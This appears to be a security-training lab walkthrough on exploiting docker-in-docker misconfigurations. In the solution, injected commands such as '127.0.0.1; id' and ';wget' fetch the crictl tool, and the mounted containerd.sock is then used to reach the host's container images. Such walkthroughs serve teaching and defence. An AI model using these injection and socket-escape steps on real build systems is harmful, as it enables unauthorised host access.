โ DIND (docker-in-docker) exploitation
๐ Overviewโ
In this scenario, we will be focusing on the common and standard ways how to build systems and pipelines that leverage container sockets to create, build and run containers from the underlying container runtime. This has been exploited since the early days of the container ecosystem and even today we see these misconfigurations/use cases in the real world.
By the end of the scenario, we will understand and learn the following
- You will learn to test and exploit the container UNIX socket misconfigurations
- Able to exploit container and escape out of the docker container
- Learn common misconfigurations in pipelines and CI/CD build systems
โก๏ธ The storyโ
Most of the CI/CD and pipeline systems use the underlying host container runtime to build containers for you within the pipeline by using something called DIND (docker-in-docker) with a UNIX socket. Here in this scenario, we try to exploit this misconfiguration and gain access to the host system of the worker node by escaping out of the docker container.
- To get started with the scenario, navigate to http://127.0.0.1:1231
๐ฏ Goalโ
The goal of this scenario is to escape out of the running docker container to the host system where the container is running and able to access and perform actions on other container running on the same node.
If you are able to obtain container images in the host system then you have completed this scenario. But definitely, you can advance beyond this exploitation as well by performing post-exploitation.
๐ช Hints & Spoilersโ
โจ Do you know how to run multiple commands in Linux?
โจ Able to run system commands, not sure how to access containers?
๐ Solution & Walkthroughโ
๐ฒ Method 1โ
- By looking at the application functionality and dabbling with the input and output, we can see it has standard command injection vulnerability. Assuming it's running in a Linux container we can use the
;
delimiter to run/pass other commands
127.0.0.1; id
-
As we can see it returns the response for the
id
command, now we can analyze the system and see what potential information we can obtain -
It contains
containerd.sock
mounted into the file system as it's not available commonly in standard systems
; mount
- Wow! we can see the
/custom/containerd/containerd.sock
mounted in the file system and assuming it's mounted from the host system we need to talk to it for communicating with the UNIX socket
We can use multiple methods for communicating with the containerd.sock
UNIX socket. Some of them include crictl binary, or a simple curl
program as well.
- Next we can download the
crictl
static binary from the internet https://github.com/kubernetes-sigs/cri-tools/releases. In order to determine which binary we need, we can run the following command for system discovery
;uname -a
- We can examine the output to determine our system architecture and OS, then download the appropriate binary to the container. For example, if our target system is a x86_64 Linux box, we can use the following command
;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl-v1.27.1.tar.gz
- We can extract the binary from the
crictl-v1.27.1.tgz
file so that we can use that to talk to the UNIX socket
;tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/
- Now we can access the host system by running the following crictl commands with passing
containerd.sock
UNIX socket
;/tmp/crictl -r unix:///custom/containerd/containerd.sock images
- Hooray ๐ฅณ , now we can see that it has a lot of container images in the host system. We can now use different crictl commands to gain more access and further exploitation
You can do the analog steps with ctr
and interact with the containerd runtime. crictl
shows you containers as visible in kubernetes. ctr
shows also additional containers, such as kubernetes hidden pause containers.